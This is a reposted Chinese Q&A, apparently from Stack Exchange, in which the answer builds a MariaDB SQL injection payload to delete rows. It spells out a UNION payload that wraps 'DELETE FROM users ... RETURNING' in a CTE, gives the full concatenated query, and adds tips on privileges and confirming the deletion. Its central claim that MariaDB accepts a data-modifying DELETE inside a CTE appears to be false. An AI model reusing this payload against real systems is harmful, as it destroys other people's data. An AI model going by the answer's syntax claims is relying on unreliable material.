MariaDB下SQL注入:DELETE RETURNING方式删行失效求助
问题分析与解决方案
你之前的payload失效的核心原因是MariaDB不允许在FROM子句中直接嵌套DELETE语句(即使带RETURNING)。DELETE属于数据修改语句(DML),而FROM子句要求的是能返回行集的查询类语句(比如SELECT),这是SQL语法的基础限制,和RETURNING无关。
可行的Payload构造
利用MariaDB支持的CTE(公共表表达式),可以在CTE中执行DELETE...RETURNING,再将其结果与原查询做UNION,语法上完全合法。构造的payload如下:
1 UNION WITH deleted_rows AS (DELETE FROM users WHERE user_id=7 RETURNING first_name) SELECT first_name, NULL FROM deleted_rows
拼接后的完整查询语句:
SELECT first_name, last_name FROM users WHERE user_id = 1 UNION WITH deleted_rows AS (DELETE FROM users WHERE user_id=7 RETURNING first_name) SELECT first_name, NULL FROM deleted_rows
额外注意事项
- 确保MariaDB版本在10.0.5及以上,因为
DELETE...RETURNING是从这个版本开始支持的。 - 检查当前数据库用户是否拥有
users表的DELETE权限,权限不足也会导致操作失效。 - 如果原查询
user_id=1没有返回结果,UNION后的结果集可能为空,但DELETE操作其实已经执行了,可以通过后续查询user_id=7是否存在来验证。
内容的提问来源于stack exchange,提问作者Ilab Sentuser
相关产品推荐
相关产品推荐

